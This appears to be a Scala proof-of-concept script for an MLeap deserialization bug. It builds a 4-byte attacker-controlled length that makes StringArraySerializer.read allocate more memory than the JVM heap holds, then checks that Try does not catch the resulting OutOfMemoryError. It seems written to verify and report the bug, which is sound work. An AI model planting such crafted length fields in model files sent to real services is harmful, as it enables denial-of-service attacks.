File size: 3,167 Bytes
b835b76
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import ml.combust.bundle.tensor.StringArraySerializer
import java.io.{ByteArrayInputStream, DataInputStream}
import java.nio.{ByteBuffer, ByteOrder}

val maxMem = Runtime.getRuntime.maxMemory()
println(s"JVM Runtime.getRuntime.maxMemory() for THIS console session = $maxMem bytes (~${maxMem / (1024*1024)} MB)")

// Choose a declared size comfortably ABOVE this JVM's actual max heap, so the allocation is
// guaranteed to fail deterministically against the real ceiling of this specific process,
// rather than relying on hitting the ~2GiB/Int.MaxValue JVM-wide array-length limit (which would
// require a much larger, riskier request in a shared session). Still representative of the same
// bug class: a 4-byte attacker payload requesting far more than is actually available.
val requestedSize: Int = {
  val candidate = maxMem + 200L * 1024 * 1024 // maxMemory + 200MB, guaranteed OOM on this heap
  if (candidate > Int.MaxValue - 16) Int.MaxValue - 16 else candidate.toInt
}
println(s"Requested array size (attacker-controlled 4-byte int in the .mleap tensor) = $requestedSize bytes (~${requestedSize / (1024*1024)} MB)")

// Build the 4-byte payload exactly as StringArraySerializer.read expects: a big-endian Int32
// (java.io.DataInputStream.readInt()) followed by (in the real bug) NOT enough actual data --
// here we omit the string entries entirely, since the crash happens at `new Array[Byte](size)`
// BEFORE any subsequent bytes are read.
val buf = ByteBuffer.allocate(4).order(ByteOrder.BIG_ENDIAN)
buf.putInt(requestedSize)
val payload: Array[Byte] = buf.array()
println(s"Payload size actually present in the malicious .mleap tensor value: ${payload.length} bytes")

println("\n=== Calling the REAL library function StringArraySerializer.read(payload) directly ===")

// Mimic how the real code path calls this: TensorSerializer.fromProto wraps the call, and the
// library's OWN read() already uses `Try{...}` internally (ArraySerializer.scala) which is built
// on `scala.util.control.NonFatal` -- NonFatal explicitly excludes VirtualMachineError (the
// superclass of OutOfMemoryError). To verify that claim empirically, we wrap the call in BOTH:
//  1. a scala.util.Try (idiomatic Scala error handling, what a typical caller/framework uses)
//  2. a raw catch (t: Throwable) as a control, to prove the OOM DOES exist and IS catchable if
//     you go out of your way to catch Throwable specifically (which the library code does not).
import scala.util.Try

print("[1] Try{ StringArraySerializer.read(payload) } ... ")
val tryResult = Try {
  StringArraySerializer.read(payload)
}
tryResult match {
  case scala.util.Success(v) => println(s"[UNEXPECTED SUCCESS] got: $v")
  case scala.util.Failure(e) => println(s"[Try CAUGHT IT] ${e.getClass.getName}: ${e.getMessage}")
}

println("\n[2] raw catch (t: Throwable) as a control, to confirm the OOM is real and only a Throwable-level catch sees it:")
try {
  val v = StringArraySerializer.read(payload)
  println(s"[UNEXPECTED SUCCESS] got: $v")
} catch {
  case t: Throwable =>
    println(s"[Throwable-level catch caught it] ${t.getClass.getName}: ${t.getMessage}")
}

println("\n=== DONE ===")